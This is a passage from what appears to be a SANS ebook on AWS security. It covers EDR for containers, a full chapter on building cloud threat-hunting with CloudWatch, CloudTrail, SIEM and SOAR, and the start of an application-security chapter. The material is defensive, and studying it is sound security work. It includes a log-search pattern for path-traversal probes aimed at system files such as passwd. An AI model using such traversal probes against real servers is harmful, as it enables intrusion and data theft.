sidecar is a concept of deploying a container next to another container, similar to a motorcycle with a sidecar attached. In this case, the sidecar container receives access to the original container so it can monitor it. Technically this option works, but it adds additional computing resources and overhead to ensure each container gets a sidecar. • Centralized agent —A better approach is to have one or more specialized agents that utilize Amazon APIs and access to dip into containers and corresponding images. For example, CrowdStrike EDR supports deploying a single instance of Falcon Insight. Falcon Insight then acts as a centralized agent that interfaces with Amazon ECS and Amazon EKS to secure containers and images. Using an EDR solution that supports AWS integration dramatically simplifies deployment and ensures minimal gaps in security controls. A centralized agent such as Falcon Insight would identify the CVE- 2020-0601 vulnerability in an MSSQL Server image or notify the analyst that the image is no longer vulnerable, but active containers still are. In addition, containers do not run full operating systems, and an EDR solution can more readily apply heuristics and anomaly detection. For example, an MSSQL container should only be running MSSQL. If a binary began a persistent callback mechanism, an EDR solution should be able to intervene to detect and block it. While all assets eventually are decommissioned, containers are decommissioned much more so. Their ephemeral nature introduces new challenges that only a modern EDR can solve. Consider an MSSQL container that gets infected but later is stopped due to scheduled maintenance. After the maintenance, a new container is deployed without any known vulnerabilities. The problem is the old container included crucial forensics evidence regardless of the compromise. A reliable EDR solution would provide a way Improving Visibility, Threat Detection, and Investigation in AWS5Netskope is a trademark of Netskope Inc.to access terminated containers in order to provide analysis in an ad hoc or as-needed basis. If data was stolen in the prior scenario, the solution could launch an investigation that analyzes the previously decommissioned container. EDR Integrations: A Platinum Experience EDR provides multiple angles of coverage from native AWS integration, asset knowledge, and detection and prevention capabilities, up to threat hunting and intelligence. Because of the extensive visibility capabilities and IoC support, organizations should consider EDR for a third-party integration. What if a breach occurred and data and/or malware was transferred into an S3 bucket or later shifted to an external SaaS provider, such as Dropbox? With data moved outside the endpoint, EDR protection generally stops. Yet some EDR solutions go the extra mile and support integration with other solutions, such as cloud security providers like Netskope.5 Instead of running multiple security solutions in parallel, they can be integrated. Think of this as a platinum experience, going above and beyond. Via AWS Marketplace, organizations can quickly subscribe and deploy multiple solutions. Then via partner sharing and documentation, they can quickly integrate multiple products into Amazon’s APIs as well as from partner to partner APIs. The result is a streamlined solution with extended coverage. As an example, consider the use of CrowdStrike and Netskope integration. The two solutions support integration and sharing of IoCs. They also support dynamic access control lists as a result. An IoC showing malware or files stolen can be shared as an IoC in CrowdStrike to Netskope and help identify where the files were staged or moved within multiple cloud tenants. Or maybe the attack never would have succeeded. In the scenario described earlier, the adversary first had to get onto the initial EC2 instance before pivoting to the MSSQL Server. If the first EC2 server was missing CrowdStrike’s EDR agent, then a dynamic access control could limit cloud access via the CrowdStrike and Netskope integration. This control may also limit or identify the attacker trying to access or stage payloads. 229Conclusion The definition of an endpoint is evolving. Endpoints are moving past EC2 virtual machines, and it is imperative for EDR solutions to evolve and support this evolution. AWS is quickly adopting new methodologies of implementing and deploying endpoints as well as technologies such as infrastructure as code. As a result, organizations must understand the gaps and risks of not knowing and understanding the various endpoints found in their AWS infrastructure. Organizations should consider an EDR solution that provides advanced controls and works with their AWS environment rather than around it. Organizations should choose an EDR that encompasses the multiple types of endpoints, such as Amazon EC2, Amazon ECS and Amazon EKS. Because of other infrastructures, such as containers, EDR needs to move past the mantra of every asset getting an agent. New methods such as centralized agents with Amazon API integration are required to come close to 100% asset coverage remotely. Asset coverage and security controls are further extended with EDR solutions that integrate with other partners via API hooks. About the Author Justin Henderson is a certified SANS instructor who authored the SEC555 SIEM with Tactical Analytics course and co-authored SEC455: SIEM Design and Implementation and SEC530: Defensible Security Architecture and Engineering. He is a passionate security researcher and security consultant with over a decade of experience in consulting and is one of the co-founders of H & A Security Solutions. Justin is the 13th of 20 GSEs to become both a red and blue SANS Cyber Guardian and holds 61 industry certifications. He specializes in threat hunting via SIEM, network security monitoring and ad hoc scripting. Improving Visibility, Threat Detection, and Investigation in AWS“The public cloud can significantly change the approach to threat hunting in your environment. Organizations may find that they no longer have the same level of fidelity of log data that they are used to, but also have new tools to gather insights that may have been difficult in their on- premises environments. This chapter focuses on how to build a threat hunting program that is tailored to public clouds, investigate new ways of collecting data, and use specific AWS tools to analyze, detect and respond to threats.”Shaun McCullough SANS Instructor Chapter 19: How to Build a Threat Hunting Capability in AWS Improving Visibility, Threat Detection, and Investigation in AWS 231Introduction The infrastructure is built, a patching plan is in place, firewalls are locked down and monitored, assets are managed, and the SOC team is responding to alerts from the security sensors. When basic security hygiene is implemented, the threat hunting team needs to start evaluating infrastructure for any risks and undetected unauthorized broad access. Because infrastructures are complex, with many moving parts, teams need a plan to manage all the data from all the various operating systems, networking tools and custom applications. They also need to know which threats to look for, how to prioritize them and where to start hunting. Cloud environments bring their own set of complexity and peculiarities for threat hunting Customers realizing the benefits of elastic environments may find that systems that had a threat on Friday are terminated on Sunday. Reliance on cloud services likely means relying on the data they offer in a platform-specific format. In addition to the cloud, the management plane is now a new threat vector that teams have to consider, along with web apps, virtual machines and databases. In this paper, we walk through the threat hunting process and how it should fit into an organization’s overall security strategy. We discuss how to determine what data to gather, options for analyzing it and the kinds of tools threat hunters can use in cloud environments. Threat Hunting: The proactive evaluation of the infrastructure operations to detect a threat beyond the deployed security tools Threat Hunting on Premises vs. in the Cloud It is vital to understand the process of threat hunting and how to approach it differently than standard security operations. Let’s look at this process in the context of a web application. To enhance understanding, this paper references a common use case found in cloud architecture: managing a web application. Improving Visibility, Threat Detection, and Investigation in AWSWeb Application Use Case A database-based web application is running and is internet-facing. The virtual machine (VM) is running a critical business application and would be considered a potential target. Although the methods of attack against web applications in the cloud are similar to those on premises, threat hunters must adjust their approach and adopt a new set of tools for detection and remediation. The cloud management plane is an attack vector that threat hunters must evaluate. If attackers were to gain a foothold in a web application, could they leverage it to get further into the cloud infrastructure? Could they make changes, set up persistence and spin up a cryptocurrency mining rig that will run at great expense to the affected user? The damage can be financially and legally impactful. The web application is running on an Amaz on Elastic Compute Cloud (EC2),¹ a VM, that reaches out to an Amazon S3 bucket to retrieve configuration files every time the server starts up. This use case, illustrated in Figure 1, is simplified by design to help tell the threat hunting story. A properly architected web application would include additional protections.. Figure 1. Web Application Use Case ¹ This paper mentions product names to provide real-life examples of how threat hunting tools can be used. The use of these examples is not an endorsement of any product. 233How to Approach Threat Hunting Threat hunting is more of an art than a science, in that its approach and implementation can differ substantially among various organizations and still be right. Every organization builds and operates its infrastructure in its own way; their teams have varied compositions of skill sets, talents and goals, and they face different threat risks. Threat hunting is about approaching security from a different angle. For instance, the security operations center (SOC) has a collection of alerts from various security products, such as antivirus scans, email security solutions, vulnerability scans, firewall alerts, IDS/IPS, and login failures. If a scan shows that a production server is vulnerable with a critical alert, a SOC member creates a ticket for the serveradministration teams to plan for an update. The driver of that interaction is a security product alerting on a strong indicator. Thus a workload needs to be patched. 2 www.cisecurity.org/controls/cis-controls-list/ Improving Visibility, Threat Detection, and Investigation in AWSThreat hunting starts with the premise of, “Our main web application is facing the internet and may be the victim of a web attack. Let’s see how we can determine that.” Or maybe a weak indicator sparks suspicion: “Multiple failed SQL injection attacks in a row. The web server performance is slower. Let’s look for potential intrusions.” There are multiple scenarios in between that can all be considered threat hunting. With a strong indicator from a security service, there is a process in place to remedy the situation. With threat hunting, the team is looking for anomalous behaviors without strong indicators. The outcome is likely unknown, the investigation is murky, and the process is research intensive. It is essential to build a threat hunting process and environment to maximize the effectiveness of the team. Threat Hunting Loop Building a threat hunting process from scratch takes time, resources and the ability to reach out to experts inside and outside the organization. The Threat Hunting Loop,3 shown in Figure 2, describes the process for determining what threat to hunt for, evaluating it and then automating the further investigation. Figure 2. Threat Hunting Loop 3 www.threathunting.net/sqrrl-archive 235The threat hunting process is all about deciding what potential threat activity to look for, using tools to analyze the available data and teasing out patterns that could indicate a likely event. Each of these steps of the loop is unique to your organization, its infrastructure, the data available to the team and the tools at its disposal. Create Hypothesis Step one is to create the hypothesis. Did the attacker gain a foothold in the production web application? Could credentials be accidentally embedded in the packaged software? Is there an unknown, CPU- intensive process running on an important server? The sheer scope of potential hypotheses could grind any team progress to a halt. Identifying and prioritizing the most at-risk infrastructure components requires an understanding of which systems are most vulnerable and their values to the business.4 By starting with a threat modeling process, an organization has an outline of priority systems that have a risk and are vulnerable to some set of attacks. “At-risk infrastructure has one of four possible responses: attempt to mitigate the threat, eliminate the threat through infrastructure architecture, transfer the risk to a third party or just accept the risk.” The threat hunting team needs to build a set of techniques to investigate and create a hypothesis of how those attacks would work and what artifacts are in the logs that need to be analyzed. Organizations with an offense-focused team, like a pen-test group or red team, have in-house experts who research and practice attacker techniques. Others may need to rely on researching published materials on attack techniques to create new hypotheses. For example, the MITRE ATT&CK™ Framework is growing in popularity among researchers 4 Learn more about the threat modeling process in “How to Protect a Modern Web Application in AWS,” www.sans.org/reading- room/whitepapers/analyst/protect-modern-web-application-aws-38955, [Registration required.] Improving Visibility, Threat Detection, and Investigation in AWS Figure 3. MITRE ATT&CK Framework5 and security companies (see Figure 3). Although not cloud-specific, the ATT&CK Framework provides a detailed explanation of the hows and whys of specific attacker techniques. Specifically, the technique of gaining initial access by exploiting public-facing apps is relevant to the web app use case. ATT&CK describes the purpose of the technique, the types of platforms, potential mitigations and references to online reports. The information provided on this technique does not give us enough details to start hunting, but it does point to the Open Web Application Security Project (OWASP) Top 10, which is more relevant to the use case. More detail is noted in Figure 4. When identifying the potential attacks against a web application, one of the best sources is the OWASP Top 10. The OWASP Top 10 is a documented explanation of the top security threats to web applications, detailing the attacker techniques, examples and potential ways to mitigate. The top threat in the OWASP Top 10 is an injection attack, or getting untrusted data sent to the interpreter and executed as part of a command or query. (See Figure 5.) In a SQL injection attack on a web server, the attacker provides unexpected values for the username or password to thwart the interpreter from retrieving the expected SQL values. 5 https://attack.mitre.org/ 237Figure 4. The Exploit Public-Facing Application Technique6 Figure 5. Number One Threat in the OWASP Top 107 6 Exploit Public-Facing Application,” https://attack.mitre.org/techniques/T1190/ 7 OWASP Top Ten Project, www.owasp.org/index.php/Category:OWASP_Top_Ten_Project Improving Visibility, Threat Detection, and Investigation in AWS Other publications and researchers who track and describe attacker techniques include: • Threat Post • Threat Hunting Project • AWS Security Bulletin • (ISC)2 Cloud Security Report • Summit Route • Toni de la Fuente’s running list of AWS Security Tools The Cloud Security Alliance (CSA) publishes a report on top threats8 that focuses specifically on cloud services. The CSA also publishes an in-depth case study9 that walks through how those threats are carried out. Rhino Security is a pen-test company, but it publishes blogs and free tooling for cloud and containerization threats. Investigate Via Tools and Techniques Threat hunters go beyond the automated alerts from security products, past the strong indicators and into the squishy unknown. To do this, data must be collected, understood, analyzed and viewed comprehensively. Threat hunters must also pivot through different types of logs and explore unstructured or partially structured data. The first hurdle can be the infrastructure itself. If the organization has dozens of unique operating system configurations, manually managed deployment or shared remote management, then logs and operational data will be highly variant, allowing real attacks to blend in. Let’s look at another use case. 8Cloud Security Alliance, Top Threats to Cloud Computing: Egregious Eleven, https://cloudsecurityalliance.org/artifacts/top-threats- to-cloud-computing-egregious-eleven/ 9 Cloud Security Alliance, Top Threats to Cloud Computing: Deep Dive, https://cloudsecurityalliance.org/artifacts/top-threats-to- cloud-computing-deep-dive/ 239 Figure 6. Overview of Amazon CloudWatch Log Collection Use Case: Gathering SSH Connections Leveraging infrastructure as code, it is possible to deploy production systems without administrators SSH’ing, except in cases of troubleshooting. Teams can easily pull logs from any system and into Amazon CloudWatch. See Figure 6. To use the Amazon CloudWatch agent to pull SSH connection logs from Amazon EC2s and into the Amazon CloudWatch logging service, follow these steps: 1. Install the Amazon CloudWatch agent on an EC2. 2. Configure the Amazon CloudWatch agent to send SSH connections to a specific log group. 3. Set up Amazon CloudWatch alarms to monitor for invalid user attempts and repeated SSH disconnects. The Ever-Changing Cloud Infrastructure Cloud service elasticity can make it difficult to directly interrogate systems when the environment is continually growing and shrinking throughout a day. For example, let’s say the web application is attacked at 10 p.m. with a SQL injection attack that triggers logs from the web application firewall (WAF). The next day at 9 a.m., the threat hunting team investigates to determine if the attack was successful. Improving Visibility, Threat Detection, and Investigation in AWSUnfortunately, the VM has already been terminated by the cloud autoscaling engine. The threat hunting team needs to decide what data to collect from the elastic system, whether that data is readily available or needs to be pulled or pushed by additional systems, and how long to keep the data before aging it off. The threat hunter needs to account for the risk of those systems, the amount of data that might need to be stored and how quickly a team will evaluate the data. The following demonstrates an example. Use Case: Post-Exploitation Detection In a cloud environment of automation, once attackers gain access to the web application VM, they will want to use the MITRE ATT&CK tactic called Discover to find other services of interest, such as an accessible Amazon S3 bucket with the command ListBuckets. The web application we built has access to Amazon S3 buckets for configuration, but the IAM role does not allow listing of buckets. Automated systems likely already know the resources they need to interact with, so listing potential names is unnecessary. From the Amazon EC2 instance, listing buckets results in an error, as shown in Figure 7. Figure 7. A ListBuckets Error Figure 8. AccessDenied Error CodeAWS CloudTrail gathers and allows an analysis of Amazon Web Services (AWS) API requests. AWS CloudTrail, using the Amazon EC2 ID as the username, looks at the ListBuckets as an indicator. There is an AccessDenied error code, as shown in Figure 8. 241Figure 9. Table Output of AWS CloudTrail lookup-events Command Figure 10. JSON Output of AWS CloudTrail lookup-eventsAnother option is to use the AWS Command Line Interface (CLI) to look for all commands from the Amazon EC2 in question: aws cloudtrail lookup-events --lookup-attributes AttributeKey=Username, AttributeValue=i-0b1515ec2d4b0b9df --query ‘Events[].username:Username, time:EventTime, event:EventName, eventid: EventId,resource:(Resources[0]. ResourceName)}’ --output table -- region us-east-1 Figure 9 shows sample results of AWS CloudTrail lookup-events. Each event has a unique event ID. Figure 10 shows the details for a specific event ID from the table shown in Figure 9. Here, we use a Linux application, JQ, to carve up JSON on the command line. This command shows the details of this particular AWS CloudTrail Event. JQ is an excellent tool for filtering, carving and formatting the JSON data in logs. Improving Visibility, Threat Detection, and Investigation in AWSUncover New Patterns and Apply Learned Lessons Gathering data, running analytics and identifying the anomalies give the threat hunter unique insights into evaluating attack techniques and analyzing infrastructure systems. The team should become part of the threat modeling processes, helping the architecture and operations teams identify the cloud infrastructure that needs to be secured and evaluated. Changes such as improved monitoring, reduced chaotic deployments and better segmentation of infrastructure can all make threat hunting easier without losing operational capabilities. Once threat hunters understand the challenges, they can start gathering detailed knowledge of potential threats, and the architecture and infrastructure management teams can support the threat hunters. It is time to begin collecting and analyzing the data needed to discover the attackers. Inform with Data and Analytics It is critical to get the right data into the right place for analysis. The data itself might need to be evaluated, enriched and prepared for analysis using scripts, tools or built-in cloud services. Gathering the Data The threat hunting team has to strike the right balance of how much data to capture. Requiring all the data from all the things increases costs, adds to the overhead of managing the data and increases the time and effort to sift through and analyze the enormous amounts of data. On the other hand, not having enough data will keep the threat hunters in the dark. First, identify any logs that are already being collected or are easy to obtain organically. AWS makes it easy to collect VPC logs showing data connections in and out of the VPC, API calls with AWS CloudTrail and Amazon S3 access logs, among others. Then, using the attacker techniques, the team will focus on identifying the gaps in information and how to retrieve it. Most missing data is likely from applications or the host environment itself. Let’s revisit the web application use case. Web Application Use Case For the web application use case, the VM itself has a wealth of information that could be of interest. Mainstream web servers generate standard logs that are stored on the VM. They also can be customized to generate more or fewer logs, or with changes to the format or location, and potentially compressed 243for transfer. Connection logs, for example, contain every HTTP request to the web server. Regularly managed web applications have a lot of the same connections. However, in a path traversal attack,10 the path could contain unique path calls that are attempts to get access to files on the web server. After installing the Amazon CloudWatch agent, configure the Amazon CloudWatch configuration file to pull the Nginx access log /var/log/nginx/access.log. See Figure 11. Figure 11. Amazon CloudWatch Logs Configuration File Figure 12. Nginx Connection Logs Figure 13. Quick Search for passwdThe Nginx connection logs are now stored in the /var/log/nginx log group, accessible from Amazon CloudWatch Logs. See Figure 12. 10 www.owasp.org/index.php/Path_Traversal Improving Visibility, Threat Detection, and Investigation in AWSOpening up the log group, it’s possible to search for a string, as shown in Figure 13. This is an easy search. AWS provides an advanced query service called Amazon CloudWatch Logs Insights. Using a custom query language, we can search across all hosts for a regex of passwd, etc or ../ as shown in Figure 14. Note that / is a special character in regular expression (regex), so it has to be escaped with \. Figure 15 shows the results of the query. Once the data is gathered, the data retention life cycle rule is applied and data is accessible, it’s time to figure out how to make the data more useful to the threat hunters by enriching the data. Figure 14. Query Amazon CloudWatch Logs Insights Figure 15. Query Results 245Enriching the Data When threat hunting, the data needs to tell a complex and complete story with multiple characters, settings and subplots. If a single log could tell the story, then a security product would quickly alert the SOC. Threat hunters are looking for more subtle anomalies in the data that look unique mainly because of the way an infrastructure is architected and operated. An attachment in the email is easily scanned and compared to a known list of malware. However, it’s harder to identify a nefarious remote desktop connection compared to a legitimate one. One easy way to bring data to life is to automatically evaluate the data and tag it, add metadata or enhance the data itself. Separate Security Account: It is good to gather and protect any logs from accidental or purposeful deletion. One recommendation is to use AWS Organizations to create a separate security organization (org) and to automatically move logs from the production org to the security org, where it can be protected and available to only the security or designated teams. Web Application Use Case There are several ways to automate the analysis and tagging or enriching the data. For logs collected by Amazon CloudWatch, such as Nginx connection logs, leveraging the alarms, metrics and dashboards works well. An Amazon CloudWatch Metric Filter will search for some specific patterns and create a metric count when that pattern shows up in the logs. An Amazon CloudWatch metric can generate an alarm, which can send an email or notify an AWS Lambda function. The AWS Lambda function can take action, such as copying the concerning data over to an Amazon S3 bucket for further analysis. In the Amazon EC2 Role use case, the victim EC2 can perform S3 bucket reads. Let’s say there are 50 EC2 instances in the account; that would be too much data to analyze. However, if the EC2 reads a different S3 bucket than it has ever read before, that is a new activity. You should tag those reads. Analyzing the Data Once the data has been gathered, enriched and tagged, the threat hunting team starts evaluating the data to identify anomalous behaviors against the hypothetical attack techniques. The threat hunting Improving Visibility, Threat Detection, and Investigation in AWSteam must be able to evaluate anomalies and quickly determine if they warrant an investigation or not, so the data must be easy to search, correlate and report. Various scripting tools and analytic platforms can provide threat hunters with raw log data to sift through. Comprehensive analytic platforms can also be utilized to help speed up analysis, and provide reporting services for sharing and collaboration among teams. The next sections dive into options for analytic tools to bring into the environment to take threat hunting to the next level. Tools for Analysis Threat hunters can bring a wide range of tools to bear to analyze complex datasets from multiple sources, from scripts parsing raw data, to a full SIEM system that provides ad hoc and complex searching, reporting and investigations. The decision is usually about setup complexity, cost and the need to scale as the team grows. AWS provides several services that can be used and chained together to scripts and analytics. Analyzing Logs Directly Amazon CloudWatch is the core service for monitoring an AWS environment, because it is easy to get up and running and providing basic metrics, alarming and dashboards. As was previously discussed, Amazon CloudWatch and AWS CloudTrail can be used together to interact directly with collected data. AWS offers methods of exporting Amazon CloudWatch logs, collected from custom applications to Amazon S3, AWS Lambda or Amazon Elasticsearch Service (see Figure 16). Figure 16. Exporting Amazon CloudWatch Logs 247Figure 17. Amazon Athena Dashboard AWS provides another service called Amazon Athena, which runs SQL queries against data in an Amazon S3 bucket (see Figure 17). Customers build virtual tables that organize and format the underlining log data inside the bucket objects. It takes time to ensure that data is formatted and managed. Amazon GuardDuty is a managed service that is evaluating a growing number of findings that detect adversary behaviors and alerting the customer. Amazon GuardDuty evaluates potential behaviors by analyzing Amazon VPC Flow Logs. A similar real-time VPC flow logs analysis engine can be created using AWS Lambda, Amazon Kinesis, Amazon S3, Amazon Athena and Amazon QuickSight. SIEMs in the Cloud As a threat hunting team starts to build a corpus of analytics that it wants to run repeatedly, or as its investigating, monitoring and reporting needs become more comprehensive, a full SIEM is likely of interest. Several cloud-specific services, as well as traditional on-premises SIEMs, work with cloud infrastructure. Improving Visibility, Threat Detection, and Investigation in AWSThe threat hunting team should focus on developing and managing a tactical SIEM, which could be different from the SIEM a SOC might use. The tactical SIEM will likely have unstructured data, a shorter retention policy than the SOC’s SIEM, and the ability to easily determine what the infrastructure looked like in the recent past. In the cloud, good data management strategy should be implemented to be cost- effective, with pay-per-usage pricing. Generally, free or open source solutions tend to take more time and expertise to set up and maintain, but they are more customizable and cost little or nothing. Commercial solutions may cost more, but may come with better support, easy access to purpose-built connectors and more reporting options. Elasticsearch, a favorite of the open source community, boasts a significant user base and supports plug-ins for data importing, translating and easy displaying with the Kibana application. AWS provides a managed Amazon Elasticsearch Service to make it easy to set up and run the search engine without having to do all the management heavy lifting. The company behind Elasticsearch, Elastic, has released a new app called the Elastic SIEM that is more focused on the security operations. Other products, such as ones from Sumo Logic and Splunk, also integrate directly with AWS and provide even richer and more full-featured analytic platforms. After the tactical SIEM is stood up; the data is gathered, translated and enriched; and mechanisms for analytics and reporting are in place, the threat hunting team will start to discover repeated steps, analytics or actions. An emerging service that integrates with the SIEM, called Security Orchestration, Automation and Response (SOAR), can be helpful there. Soaring with SOAR Threat hunting is all about proactive analysis of data to detect the anomalous behavior that is undetectable by the security products. As the threat hunting team’s analytics become more sophisticated, it may begin developing a set of repeatable analytics, enrichments or data gathering steps. If it’s repeatable and articulate, it can be automated. A SOAR leverages the data storage and enrichment of the SIEM, understands basic rules of infrastructure integration and allows the easy buildout of playbooks to automate a course of action. In the web application use case, if there are several failed SQL injection attempts, the final attempt could signify the last failure before success. The process of information from that host at that time would be of interest. A SOAR could be used to identify that ultimate SQL injection failure, tag it and then also tag the process log information from that time. The next step in the playbook could be to move those logs into a separate Amazon S3 bucket for more accessible analysis. The process logs by themselves could then be enriched by validating with a malware signature API to identify whether the process is known good or 249not. Gathering potential logs to analyze and automating the enriching processes when necessary could save threat hunters tedious and repetitive work. It could also help provide quicker triage. The SIEM with a SOAR could significantly improve speed to analysis. Taking the playbook a step further, it’s possible to use data pushed to the SIEM and SOAR, such as the SQL injection detection logs from the WAF, and initiate an action. Rather than always pull the process list on an hourly basis, the SIEM could execute host-based tools, such as OSQuery, to reach out to the suspect web server and pull the process list in near real time. This automated response action allows the team to limit what passive data has to be managed, and makes it easier to correlate the process logs returned with the suspicious SQL injection attacks. In the Amazon EC2 use case, the SIEM/SOAR could review the READs from an EC2 to an Amazon S3 bucket and detect a first-time READ to an S3 bucket. The SOAR playbook executes a host agent such as OSQuery or uses AWS services such as Amazon Inspector and AWS Systems Manager to interact directly with that EC2 to pull fresh process information and kick off a scan with Amazon Inspector. It then gathers all these reports and provides them in a single artifact bucket for the security analysts, creating a high- priority message in the corporate chat system or sending out SMS alerts to on-call personnel. Some of the more sophisticated SOARs, such as Splunk’s Phantom, also allow for the detection of cascading anomaly triggers that can perform automated remediations—taking our use cases together to build a sophisticated SOAR playbook. “As the threat hunting team’s analytics become more sophisticated, it may begin developing a set of repeatable analytics, enrichments or data gathering steps. If it’s repeatable and articulate, it can be automated.” SOAR Playbook Use Case The attacker performs several SQL injection attacks against a particular EC2. The SOAR kicks off a process listing and tags all logs from that EC2 with a unique identifier. One of those logs with the unique identifier specifies a failed Amazon S3 bucket listing attempt. In an automated system, the bucket is Improving Visibility, Threat Detection, and Investigation in AWSknown, and a listing is unlikely to be normal. The SOAR identifies that this failed bucket listing happened on an EC2 that is being triaged. Because the organization is using auto-scaling, the SOAR notifies the auto-scaling system to deregister the EC2 (i.e., pull that EC2 out of service but keep it running). The SOAR playbook waits for the deregistering to finish, then removes all security groups except triage, and the triage group effectively isolates the EC2 from all other systems. Conclusion We are in the early days of threat hunting, specifically in cloud environments. Organizations are moving away from traditional server-based infrastructure into serverless, event-driven architectures that rely on native cloud services. Threat hunters will adapt their processes, tools and techniques to identify and neutralize the threats in this new infrastructure landscape. Threat hunting is critical to finding the advanced attacker techniques that have escaped the detection of deployed security products. The threat hunting process requires constant learning about attacker techniques and your organization’s attack surface. Proper strategy ensures the right data is collected, enriched and available to the tools the threat hunting team uses to tease out suspicious anomalies from the vast and ever-changing infrastructure. Your threat hunting process is always growing and adapting to new learnings, increasing experience and the changing threat landscape. About the Author During his 25+ years of experience, Shaun has spent equal parts in security engineer and operations as well as software development. With extensive experience within the Department of Defense, Shaun was the Technical Director of the Red and Blue operations teams, a researcher of advanced host analytics, and ran a threat intelligence focused open source platform based on MITRE ATT&CK. Previously, he was a consultant with H&A Security Solutions, focusing on analytic development, DevOps support, and security automation tooling. Shaun has authored the brand new SEC541: Cloud Monitoring and Threat Hunting and can be found teaching SEC545: Cloud Security Architecture and Operations on a regular basis. 251 Solution Guidance in AWS Solution Guidance in AWS“In this chapter, I cover a wide variety of topics in regard to application security in the AWS Cloud. This includes things like policies and standards to implement that aid the organizations application deployment, coding standards and the software development life cycle (SDLC), specific ways to detect flaws in your codebase (inline scanning/out of band scanning), open source tools that can statically and dynamically check the posture of our codebase/application stack (linters), and key considerations to evaluate in the AWS cloud environment. This chapter targets security analysts who would like to broaden their depth in the AWS application security plane. There may be some topics or acronyms that are new, but a few hours of independent research should bring you up to speed. As the title of this series is “JumpStart,” this chapter should be great starting point for security analysts and application security engineers who plan to broaden their knowledge in the AWS AppSec world.”Nathan Getty SANS Analyst Chapter 20: Solution Guidance for Application Security in AWS Solution Guidance in AWS 253Introduction As organizations begin to transition their applications into cloud environments, security teams must provide application security support and insight during the process. Today’s applications are updated more frequently, and regular release cycles are giving way to more rapid incremental releases. Application development continues to evolve to support a more dynamic release schedule. In response, information security teams must be included in the development process if they are to provide support to development teams. Because organizations plan to deploy applications as soon as they are approved for production, your organization’s security team should not be the roadblock. Because development teams release applications faster than they can be reviewed, it is critical to integrate the skills and guidance of the security team into the development model. Whether the application code is deployed on premises or in a cloud environment, automated security tools provide the information security team with visibility into code as it moves through the developer pipeline. This visibility provides more assurance that security will not be compromised. This process allows the development teams to remain informed of security concerns for their application as it moves through the pipeline. By embedding security within the build process, your organization can build a strong relationship between the security and development teams. By fostering and developing this relationship, developers and security professionals can work in tandem to deliver secure, timely applications. According to Forbes, nearly three-quarters of companies are planning to move to a fully software- defined data center within two years. Almost half of businesses are delaying cloud deployment due to a cybersecurity skills gap.1 This paper seeks to give you a better idea of what your organization needs to successfully plan and execute a secure application transition to, or deployment in, an AWS environment.2 We discuss how security teams can best support application development teams, what options you have as a security professional for this support, and how best to guide your development teams as they transition workflows to AWS. 1“2017 State of Cloud Adoption and Security,” www.forbes.com/sites/louiscolumbus/2017/04/23/2017-state-of-cloud-adoption- and-security 2 This paper mentions product names to provide real-life examples of how firewall tools can be used. The use of these examples is not an endorsement of any product. Solution Guidance in AWSUnderstanding Your Needs Historically, application development and security teams did not always work closely together. But given the adoption of rapid release cycles and the transition to cloud services, these teams must build a working relationship that effectively supports rapid deployment of secure applications. How can they do that while best using existing tools and processes in the cloud environment? 1. Understand the applications deployed in your organization. Security analysts need to be knowledgeable about the applications being deployed, at least to the extent of being aware of their primary purpose and target audience. When they understand the application, the underlying code, and for whom the application is designed, they can run threat modeling assessments and plan accordingly. They can make remediation decisions with confidence, bring attention to specific security vulnerabilities, identify which vulnerabilities and risks are acceptable, and provide feedback to the development team. Encouraging security teams to work closely with development teams and speak their language will build a strong, mutually beneficial relationship. 2. Understand application deployment methods within AWS. Applications can be deployed through any one of several channels or tools. Knowledge of the tools available to development teams can help information security teams define best security practices within those tools and ease incident response or critical changes to the applications. Through awareness of the underlying development process, an organization can be assured that quality information regarding security concerns is being communicated to the development teams. 3. Understand what options and responsibilities you have in AWS as you prepare for securing the application delivery. The AWS cloud environment gives organizations access to a large developmental toolset in the form of services that include a number of capabilities. Not every service will be a good fit for your organization, so development and security teams should plan ahead and identify which services they will need to use for their application delivery and the security. AWS offers various platforms for setting up such services. For example, AWS offers serverless services, which means your organization is not responsible for operating or maintaining the underlying infrastructure. Although AWS takes full responsibility for operating the hardware, networking and patch management of the underlying infrastructure, responsibility for the security of any application built on the platform lies completely with the organization. 255Implementation Options in AWS AWS offers a number of services and options as well as access to third-party services for secure application development and rapid release cycles. Cloud-Native Services When applications and security tools work harmoniously, future problems (and the need to fix them) can be avoided more easily. Fortunately, AWS-native services are built to work well with each other. Leveraging native services can ease the speed of deployment and integration of application security tools. AWS Marketplace contains a collection of ready-to-deploy infrastructure components your organization can deploy directly into their Amazon VPC (Virtual Private Cloud). AWS Marketplace offers a variety of software including, but not limited to, operating systems, network and business intelligence tools, machine learning software, security software and development suites. The ability to find, test, deploy and validate software through AWS Marketplace helps organizations identify which applications work for them, which allows them to procure and deploy solutions much faster than when having to spend time engaging with a variety of vendors. (Although deploying AWS Marketplace products can be quick and fast, you should still engage with your organization’s software onboarding team before deploying new solutions within your environment; your organization may have certain software onboarding procedures even when it comes to native AWS services.) Leveraging native services also has the added benefit of pricing consolidation. Because AWS services are billed to your account with detailed information, organizations can use native services to view all of their AWS costs within a single, detailed page. Open Source and Custom Solutions Native services offer direct benefit to your organization, but there may be situations where you prefer custom or open source software (OSS) applications. OSS and custom tools can be leveraged within AWS as long as they are compatible with AWS infrastructure (Microsoft Windows- or Linux-based platforms). For example, it is possible to run custom or OSS solutions on Amazon EC2 (Elastic Cloud Compute). The key difference with EC2 (versus native service) is that your organization inherits the full responsibility for any underlying infrastructure. Your organization is responsible for patch management and any security solutions required for the infrastructure (firewall, intrusion detection and other security tools). Refer to the AWS Shared Responsibility Model3 for more information. 3 AWS Shared Responsibility Model, https://aws.amazon.com/compliance/shared-responsibility-model/ Solution Guidance in AWSConsulting Partner Private Offers Customers can also engage through Consulting Partner Private Offers (CPPO) to work directly with trusted advisors to select and configure Application Security solutions from AWS Marketplace. As organizations build out their cloud and cloud security strategyand plan, they may want to consider working with partners to accelerate their efforts or fill any gaps in knowledge or resources that are identified. All consulting partners may extend AWS Marketplace third-party solutions directly to customers through CPPO.4 Not every organization will be able to find resources with deep cloud experience. Even experienced cloud technologists may have experience only with specific industries or cloud vendors. A requirements document could be helpful when approaching prospective consultants. Needs and Capabilities: The Business Case for Application Security in the Cloud The benefits of putting applications in the cloud must be balanced by the organization’s ability to secure them. Application Security The need: Conducting application security assessments and reducing vulnerabilities within the AWS environment Capabilities • Increased visibility within the development process and application stack • Reduced risk and vulnerabilities in the applications before they are deployed • Automated security assessments with actionable remediation • A relationship with the development teams 4 AWS Marketplace Channel Programs, https://aws.amazon.com/marketplace/partners/channel-programs 257General AWS Web Application Security Considerations Regardless of the technology or cloud vendor selected, some general business, technical and operational considerations are associated with implementing application security in the cloud. The following sections highlight 